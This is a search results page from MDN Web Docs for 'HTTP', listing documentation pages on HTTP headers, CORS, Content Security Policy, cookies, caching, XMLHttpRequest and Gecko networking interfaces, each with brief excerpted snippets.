Search completed in 0.93 seconds.
3935 results for "HTTP":
Your results are loading. Please wait...
HTTP Index - HTTP
WebHTTPIndex
this page lists all mdn http pages along with their summary and tags.
... found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
...http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response.
...And 287 more matches
An overview of HTTP - HTTP
WebHTTPOverview
http is a protocol which allows the fetching of resources, such as html documents.
... designed in the early 1990s, http is an extensible protocol which has evolved over time.
...http can also be used to fetch parts of documents to update web pages on demand.
...And 55 more matches
Evolution of HTTP - HTTP
http (hypertext transfer protocol) is the underlying protocol of the world wide web.
... developed by tim berners-lee and his team between 1989-1991, http has seen many changes, keeping most of the simplicity and further shaping its flexibility.
... http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
...And 47 more matches
Connection management in HTTP/1.x - HTTP
connection management is a key topic in http: opening and maintaining connections largely impacts the performance of web sites and web applications.
... in http/1.x, there are several models: short-lived connections, persistent connections, and http pipelining.
... http mostly relies on tcp for its transport protocol, providing a connection between the client and the server.
...And 29 more matches
HTTP Messages - HTTP
WebHTTPMessages
http messages are how data is exchanged between a server and a client.
... http messages are composed of textual information encoded in ascii, and span over multiple lines.
... in http/1.1, and earlier versions of the protocol, these messages were openly sent across the connection.
...And 28 more matches
HTTP headers - HTTP
WebHTTPHeaders
http headers let the client and the server pass additional information with an http request or response.
... an http header consists of its case-insensitive name followed by a colon (:), then by its value.
...iana also maintains a registry of proposed new http headers.
...And 19 more matches
A typical HTTP session - HTTP
WebHTTPSession
in client-server protocols, like http, sessions consist of three phases: the client establishes a tcp connection (or the appropriate connection if the transport layer is not tcp).
... as of http/1.1, the connection is no longer closed after completing the third phase, and the client is now granted a further request: this means the second and third phases can now be performed any number of times.
...opening a connection in http means initiating a connection in the underlying transport layer, usually this is tcp.
...And 15 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser.
...it remembers stateful information for the stateless http protocol.
... creating cookies after receiving an http request, a server can send one or more set-cookie headers with the response.
...And 14 more matches
Redirections in HTTP - HTTP
http has a special kind of response, called a http redirect, for this operation.
... principle in http, redirection is triggered by a server sending a special redirect response to a request.
... alternative way of specifying redirections http redirects aren't the only way to define redirections.
...And 13 more matches
Basics of HTTP - HTTP
http is an extensible protocol that relies on concepts like resources and uniform resource identifiers (uris), simple message structure, and client-server communication flow.
... on top of these basic concepts, numerous extensions have been developed over the years that add updated functionality and semantics with new http methods or headers.
... articles overview of http describes what http is and its role in web architecture, including its position in the protocol stack.
...And 11 more matches
HTTP response status codes - HTTP
WebHTTPStatus
http response status codes indicate whether a specific http request has been successfully completed.
...the meaning of the success depends on the http method: get: the resource has been fetched and is transmitted in the message body.
...it is noncommittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request.
...And 11 more matches
HTTP caching - HTTP
WebHTTPCaching
by making use of http caching, web sites become more responsive.
...a browser cache holds all documents downloaded via http by the user.
... targets of caching operations http caching is optional, but reusing a cached resource is usually desirable.
...And 8 more matches
HTTP authentication - HTTP
http provides a general framework for access control and authentication.
... this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... the general http authentication framework rfc 7235 defines the http authentication framework, which can be used by a server to challenge a client request, and by a client to provide authentication information.
...And 7 more matches
HTTP Public Key Pinning (HPKP) - HTTP
http public key pinning (hpkp) was a security feature that used to tell a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates.
...hpkp can circumvent this threat for the https protocol by telling the client which public key belongs to a certain web server.
...the first time a web server tells a client via a special http header which public keys belong to it, the client stores this information for a given period of time.
...And 7 more matches
HTTP resources and specifications - HTTP
http was first specified in the early 1990s.
...this page lists relevant resources about http.
... specification title status rfc 7230 hypertext transfer protocol (http/1.1): message syntax and routing proposed standard rfc 7231 hypertext transfer protocol (http/1.1): semantics and content proposed standard rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http immutable responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard ...
...And 7 more matches
HTTP conditional requests - HTTP
http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator.
... principles http conditional requests are requests that are executed differently, depending on the value of specific headers.
...http uses strong validation by default, and it specifies when weak validation can be used.
...And 5 more matches
HTTP range requests - HTTP
http range requests allow to send only a portion of an http message from a server to a client.
... checking if a server supports partial requests if the accept-ranges is present in http responses (and its value isn't "none"), the server supports range requests.
... curl -i http://i.imgur.com/z4d4kwk.jpg http/1.1 200 ok ...
...And 5 more matches
HTTP request methods - HTTP
WebHTTPMethods
http defines a set of request methods to indicate the desired action to be performed for a given resource.
... although they can also be nouns, these request methods are sometimes referred to as http verbs.
... specifications specification title comment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace.
... rfc 5789, section 2: patch method patch method for http specifies patch.
Reason: CORS request not HTTP - HTTP
reason reason: cors request not http what went wrong?
... cors requests may only use the https url scheme, but the url specified by the request is of a different type.
... to fix this problem, simply make sure you use https urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
Compression in HTTP - HTTP
compression happens at three different levels: first some file formats are compressed with specific optimized methods, then general encryption can happen at the http level (the resource is transmitted compressed from end to end), and finally compression can be defined at the connection level, between two nodes of an http connection.
... apache supports compression and uses mod_deflate; for nginx there is ngx_http_gzip_module; for iis, the <httpcompression> element.
... to do this, http uses a mechanism similar to the content negotiation for end-to-end compression: the node transmitting the request advertizes its will using the te header and the other node chooses the adequate method, applies it, and indicates its choice with the transfer-encoding header.
505 HTTP Version Not Supported - HTTP
WebHTTPStatus505
the hypertext transfer protocol (http) 505 http version not supported response status code indicates that the http version used in the request is not supported by the server.
... status 505 http version not supported specifications specification title rfc 7231, section 6.6.6: 505 http version not supported hypertext transfer protocol (http/1.1): semantics and content ...
Index - HTTP
WebHTTPHeadersIndex
found 122 pages: # page tags and summary 1 http headers http, http header, networking, overview, reference http headers allow the client and the server to pass additional information with the request or the response.
... an http header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks).
... 2 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand.
...And 120 more matches
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server.
... examples of both common and more obscure use cases for xmlhttprequest are included.
... to send an http request, create an xmlhttprequest object, open a url, and send the request.
...And 46 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin.
... a web application executes a cross-origin http request when it requests a resource that has a different origin (domain, protocol, or port) from its own.
... an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json.
...And 44 more matches
XMLHttpRequest - Web APIs
xmlhttprequest (xhr) objects are used to interact with servers.
...xmlhttprequest is used heavily in ajax programming.
...50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none"/><...
...And 40 more matches
Setting HTTP request headers
http is one of the core technologies behind the web.
... in addition to the actual content, some important information is passed with http headers for both http requests and responses.
... you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even from css.
...And 32 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions.
... if provided by the application, nss will use the registered http client for querying an oscp responder.
...And 19 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application callback functions.
... if provided by the application, nss will use the registered http client for querying an oscp responder.
...And 19 more matches
HTTP
WebHTTP
hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
...http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response.
... http is a stateless protocol, meaning that the server does not keep any data (state) between two requests.
...And 19 more matches
nsIHttpChannel
netwerk/protocol/http/nsihttpchannel.idlscriptable this interface allows for the modification of http request parameters and the inspection of the resulting http response status and headers when they become available.
... inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnocacheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri anewuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, in ...
...unsigned long referrerpolicy); void setrequestheader(in acstring aheader, in acstring avalue, in boolean amerge); void setresponseheader(in acstring header, in acstring value, in boolean merge); void visitoriginalresponseheaders(in nsihttpheadervisitor avisitor); void visitrequestheaders(in nsihttpheadervisitor avisitor); void visitresponseheaders(in nsihttpheadervisitor avisitor); constants constant description referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin...
...And 17 more matches
HTTP logging
sometimes, while debugging your web app (or client-side code using necko), it can be useful to log http traffic.
... this saves a log of http-related information from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log).
... note: the web console also offers the ability to peek at http transactions within firefox.
...And 16 more matches
Creating Sandboxed HTTP Connections
introduction starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies.
... this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom.
... setting up an http connection the first step in setting up an http connection from an url (stored in a string) is to create an nsiuri out of it.
...And 15 more matches
HTML in XMLHttpRequest - Web APIs
the w3c xmlhttprequest specification adds html parsing support to xmlhttprequest, which originally supported only xml parsing.
... this feature allows web apps to obtain an html resource as a parsed dom using xmlhttprequest.
... to get an overview of how to use xmlhttprequest in general, see using xmlhttprequest.
...And 15 more matches
nsIHttpActivityObserver
netwerk/protocol/http/nsihttpactivityobserver.idlscriptable this interface provides a way for http transport activities to be reported to observers.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
... activity_type_http_transaction 0x0002 http transport activity has occurred.
...And 13 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
to enable csp, you need to configure your web server to return the content-security-policy http header.
... (sometimes you may see mentions of the x-content-security-policy header, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks.
... mitigating packet sniffing attacks in addition to restricting the domains from which content can be loaded, the server can specify which protocols are allowed to be used; for example (and ideally, from a security standpoint), a server can specify that all content must be loaded using https.
...And 13 more matches
Set-Cookie - HTTP
the set-cookie http response header is used to send a cookie from the server to the user agent, so the user agent can send it back to the server later.
... for more information, see the guide on http cookies.
... yes syntax set-cookie: <cookie-name>=<cookie-value> set-cookie: <cookie-name>=<cookie-value>; expires=<date> set-cookie: <cookie-name>=<cookie-value>; max-age=<non-zero-digit> set-cookie: <cookie-name>=<cookie-value>; domain=<domain-value> set-cookie: <cookie-name>=<cookie-value>; path=<path-value> set-cookie: <cookie-name>=<cookie-value>; secure set-cookie: <cookie-name>=<cookie-value>; httponly set-cookie: <cookie-name>=<cookie-value>; samesite=strict set-cookie: <cookie-name>=<cookie-value>; samesite=lax set-cookie: <cookie-name>=<cookie-value>; samesite=none // multiple attributes are also possible, for example: set-cookie: <cookie-name>=<cookie-value>; domain=<domain-value>; secure; httponly attributes <cookie-name>=<cookie-value> a cookie begins with a name-value pair: ...
...And 12 more matches
Strict-Transport-Security - HTTP
the http strict-transport-security response header (often abbreviated as hsts) lets a web site tell browsers that it should only be accessed using https, instead of using http.
... header type response header forbidden header name no syntax strict-transport-security: max-age=<expire-time> strict-transport-security: max-age=<expire-time>; includesubdomains strict-transport-security: max-age=<expire-time>; preload directives max-age=<expire-time> the time, in seconds, that the browser should remember that a site is only to be accessed using https.
... description if a website accepts a connection through http and redirects to https, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com.
...And 12 more matches
Content negotiation - HTTP
in http, content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
... note: some disadvantages of http content negotiation are explained in a wiki page from whatwg.
... the determination of the best suited representation is made through one of two mechanisms: specific http headers by the client (server-driven negotiation or proactive negotiation), which is the standard way of negotiating a specific kind of resource.
...And 11 more matches
nsIHttpChannelInternal
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable an internal interface for http channels.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfallbackchannel(in string afallbackkey); attributes attribute type description canceled boolean returns true if and only if the channel has been canceled.
... documenturi nsiuri an http channel can own a reference to the document uri.
...And 10 more matches
nsIHttpServer
an example : https://github.com/laurentj/slimerjs/blob/master/src/modules/webserver.jsm var exported_symbols = ["create"]; components.utils.import("resource://gre/modules/services.jsm"); function create() { var server = components.classes["@mozilla.org/server/jshttp;1"] .createinstance(components.interfaces.nsihttpserver); return { get objectname () { return "webserver"; }, /** * @param integer|string port port or "host:port" * @param object opt optional options.
...tion" == typeof opt) { callback = opt; } if (callback) { this.registerprefixhandler("/", callback); } let host = "localhost"; if (typeof port === "string" && port.indexof(':') != -1){ [host, port] = port.split(':'); port = parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._start(port, host); return true; }, registerfile: function(path, filepath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(filepath); return server.registerfi...
...'@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(directorypath); return server.registerdirectory(path, file); }, registerpathhandler: function(path, handlercallback) { server.registerpathhandler(path, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercallback(req, resp); }); }, registerprefixhandler: function(prefix, handlercallback) { server.registerprefixhandler(prefix, function (request, response) { var req = createhttprequest(request); var resp = new httpres...
...And 9 more matches
Identifying resources on the Web - HTTP
the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
... each resource is identified by a uniform resource identifier (uri) used throughout http for identifying resources.
...there are sometimes reasons identity and location are not given by the same uri: http uses a specific http header, alt-svc when the resource requested wants the client to access it at another location.
...And 9 more matches
Referrer-Policy - HTTP
the referrer-policy http header controls how much referrer information (sent via the referer header) should be included with requests.
...the origin, path, and querystring of the url are sent as a referrer when the protocol security level stays the same (httphttp, https→https) or improves (httphttps), but isn't sent to less secure destinations (https→http).
... there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy.
...And 9 more matches
Proxy servers and tunneling - HTTP
when navigating through different networks of the internet, proxy servers and http tunnels are facilitating access to content on the world wide web.
...a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
... or the de-facto standard versions: x-forwarded-for identifies the originating ip addresses of a client connecting to a web server through an http proxy or a load balancer.
...And 8 more matches
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget is the interface that describes the event handlers you can implement in an object that will handle events for an xmlhttprequest.
...50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} pro...
...perties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
...And 7 more matches
Content-Security-Policy-Report-Only - HTTP
the http content-security-policy-report-only response header allows web developers to experiment with policies by monitoring (but not enforcing) their effects.
... these violation reports consist of json documents sent via an http post request to the specified uri.
... content-security-policy-report-only: default-src https:; report-uri /csp-violation-report-endpoint/ if you still want to receive reporting, but also want to enforce a policy, use the content-security-policy header with the report-uri directive.
...And 7 more matches
Protocol upgrade mechanism - HTTP
the http/1.1 protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field.
... note also that http/2 explicitly disallows the use of this mechanism; it is specific to http/1.1.
... upgrading http/1.1 connections the upgrade header field is used by clients to invite the server to switch to one of the listed protocols, in descending preference order.
...And 7 more matches
The Necko HTTP module
references rfc 2616 for the http/1.1 specification.
... rfc 2617 for the http/1.1 basic and digest authentication specifications.
... notes class overview this document provides an overview of the classes used to implement the http module.
...And 6 more matches
nsIXMLHttpRequest
nsixmlhttprequest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object.
... note: if you're a web developer or a mozilla add-on developer, please refer to the xmlhttprequest documentation instead.
... the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only.
...And 6 more matches
Using Feature Policy - HTTP
<origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
... specifying your policy feature policy provides two ways to specify policies to control features: the feature-policy http header.
... the primary difference between the http header and the allow attribute is that the allow attribute only controls features within an iframe.
...And 6 more matches
X-Frame-Options - HTTP
the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>.
... note: the content-security-policy http header has a frame-ancestors directive which obsoletes this header for supporting browsers.
...the content-security-policy http header has a frame-ancestors directive which you can use instead.
...And 6 more matches
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
the hypertext transfer protocol (http) is the underlying network protocol that enables transfer of hypermedia documents on the web, typically between a browser and a server so that humans can read them.
... the current version of the http specification is called http/2.
... as part of a uri, the "http" within "http://example.com/" is called a "scheme".
...And 5 more matches
Monitoring HTTP activity
gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.
... creating an http activity observer to observe http activity, you need to implement the nsihttpactivityobserver interface within your code.
... this is very simple, requiring you to implement a single method, nsihttpactivityobserver.observeactivity(), which gets called each time an action of interest takes place on the http channel.
...And 5 more matches
Cache-Control - HTTP
the cache-control http header holds directives (instructions) for caching in both requests and responses.
...(see spec for definitions) cache request directives standard cache-control directives that can be used by the client in an http request.
... cache-control: max-age=<seconds> cache-control: max-stale[=<seconds>] cache-control: min-fresh=<seconds> cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: only-if-cached cache response directives standard cache-control directives that can be used by the server in an http response.
...And 5 more matches
Content-Disposition - HTTP
in a regular http response, the content-disposition response header is a header indicating if the content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an attachment, that is downloaded and saved locally.
... in a multipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to.
... the content-disposition header is defined in the larger context of mime messages for e-mail, but only a subset of the possible parameters apply to http forms and post requests.
...And 5 more matches
Link prefetching FAQ - HTTP
does prefetching work with https?
... starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched.
... the browser looks for either an html <link> or an http link: header with a relation type of either next or prefetch.
...And 5 more matches
Proxy Auto-Configuration (PAC) file - HTTP
a proxy auto-configuration (pac) file is a javascript function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server.
...the path and query components of https:// urls are stripped.
... in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path.
...And 5 more matches
Http.jsm
http.jsm http.jsm provides httprequest - a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests.
... httprequest supports the following parameters: name meaning headers an array of headers postdata this can be: a string: send it as is an array of parameters: encode as form values null/undefined: no post data.
... submitting post data httprequest allows attaching data to the post requests.
...And 4 more matches
nsIHttpHeaderVisitor
netwerk/protocol/http/nsihttpheadervisitor.idlscriptable this interface is used to view http request and response headers.
... inherits from: nsisupports last changed in gecko 1.7 method overview void visitheader(in acstring aheader, in acstring avalue); methods visitheader() called by the nsihttpchannel implementation when visiting request and response headers.
...it implements the nsihttpheadervisitor interface in javascript and uses it to evaluate the mime type of a http response.
...And 4 more matches
XMLHttpRequest.responseType - Web APIs
the xmlhttprequest property responsetype is an enumerated string value specifying the type of data contained in the response.
... syntax var type = xmlhttprequest.responsetype; xmlhttprequest.responsetype = type; value a string taken from the xmlhttprequestresponsetype enum which specifies what type of data the response contains.
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
...And 4 more matches
XMLHttpRequest.send() - Web APIs
the xmlhttprequest method send() sends the request to the server.
... syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request.
... an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object.
...And 4 more matches
Configuring servers for Ogg media - HTTP
handle http 1.1 byte range requests correctly in order to support seeking and playing back regions of the media that aren't yet downloaded, gecko uses http 1.1 byte-range requests to retrieve the media from the seek target position.
... your server should accept the accept-ranges: bytes http header if it can accept byte-range requests.
... for example, if the video is 1 minute and 32.6 seconds long, this header would be: x-content-duration: 92.6 if your server provides the x-content-duration header when serving ogg media, gecko doesn't have to do any extra http requests to seek to the end of the file to calculate its duration.
...And 4 more matches
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces.
... the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon().
... note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes.
...And 4 more matches
CSP: script-src - HTTP
the http content-security-policy (csp) script-src directive specifies valid sources for javascript.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: upgrade-insecure-requests - HTTP
the http content-security-policy (csp) upgrade-insecure-requests directive instructs user agents to treat all of a site's insecure urls (those served over http) as though they have been replaced with secure urls (those served over https).
...it is recommended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http.
... the upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to https for the top-level navigation and thus does not replace the strict-transport-security (hsts) header, which should still be set with an appropriate max-age to ensure that users are not subject to ssl stripping attacks.
...And 4 more matches
Content-Security-Policy - HTTP
the http content-security-policy response header allows web site administrators to control resources the user agent is allowed to load for a given page.
...these violation reports consist of json documents sent via an http post request to the specified uri.
...so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.example.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored.
...And 4 more matches
nsIHttpActivityDistributor
netwerk/protocol/http/nsihttpactivityobserver.idlscriptable this interface is used to register and unregister clients that wish to observe http transport activity.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsihttpactivityobserver last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: mozilla.org/network/http-activity-distributor;1 as a service: var httpactivitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); method overview void addobserver(in nsihttpactivityobserver aobserver); void removeobserver(in nsihttpactivityobserver aobserver); methods addobserver() begins delivery of notifications of http transport activity.
... void addobserver( in nsihttpactivityobserver aobserver ); parameters aobserver the nsihttpactivityobserver that should receive notifications of http transport activity; this object's nsihttpactivityobserver.observeactivity() method will be called each time activity occurs.
...And 3 more matches
XMLHttpRequest() - Web APIs
the xmlhttprequest() constructor creates a new xmlhttprequest.
... for details about how to use xmlhttprequest, see using xmlhttprequest.
... syntax const request = new xmlhttprequest(); parameters none.
...And 3 more matches
Choosing between www and non-www URLs - HTTP
in an http url, the first substring that follows the initial http:// or https:// is called the domain name.
...but even so, you can still have the other domain working: http allows two techniques so that it is clear for your users, or search engines, which domain is the canonical one, while still allowing the non-canonical domain to work and provide the expected pages.
... using http 301 redirects in this case, you need to configure the server receiving the http requests (which is most likely the same for www and non-www urls) to respond with an adequate http 301 response to any request to the non-canonical domain.
...And 3 more matches
CSP: base-uri - HTTP
the http content-security-policy base-uri directive restricts the urls which can be used in a document's <base> element.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 3 more matches
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form submissions from a given context.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 3 more matches
CSP: frame-ancestors - HTTP
the http content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 3 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 3 more matches
Upgrade - HTTP
WebHTTPHeadersUpgrade
the http 1.1 (only) upgrade header can be used to upgrade an already established client/server connection to a different protocol (over the same transport protocol).
... for example, it can be used by a client to upgrade a connection from http 1.1 to http 2.0, or an http or https connection into a websocket.
... http/2 explicitly disallows the use of this mechanism/header; it is specific to http/1.1.
...And 3 more matches
Network Error Logging - HTTP
network error logging is a mechanism that can be configured via the nel http response header.
... the reporting group referenced above is defined in the usual manner within the report-to header, for example: report-to: { "group": "nel", "max_age": 31556952, "endpoints": [ { "url": "https://example.com/csp-reports" } ] } error reports in these examples, the entire reporting api payload is shown.
... http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_ip is available to include.
...And 3 more matches
test/httpd - Archive of obsolete content
this module was removed in firefox 36, please use the addon-httpd npm module instead.
... an http server for the mozilla platform, which can be used in unit tests.
... usage the most basic usage is: var { startserverasync } = require("sdk/test/httpd"); var srv = startserverasync(port, basepath); require("sdk/system/unload").when(function cleanup() { srv.stop(function() { // you should continue execution from this point.
...And 2 more matches
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
http/2 is a major revision of the http network protocol.
... the primary goals for http/2 are to reduce latency by enabling full request and response multiplexing, minimize protocol overhead via efficient compression of http header fields, and add support for request prioritization and server push.
... http/2 does not modify the application semantics of http in any way.
...And 2 more matches
HTTP Cache
this document describes the new http cache version 2.
... api here is a detailed description of the http cache v2 api, examples included.
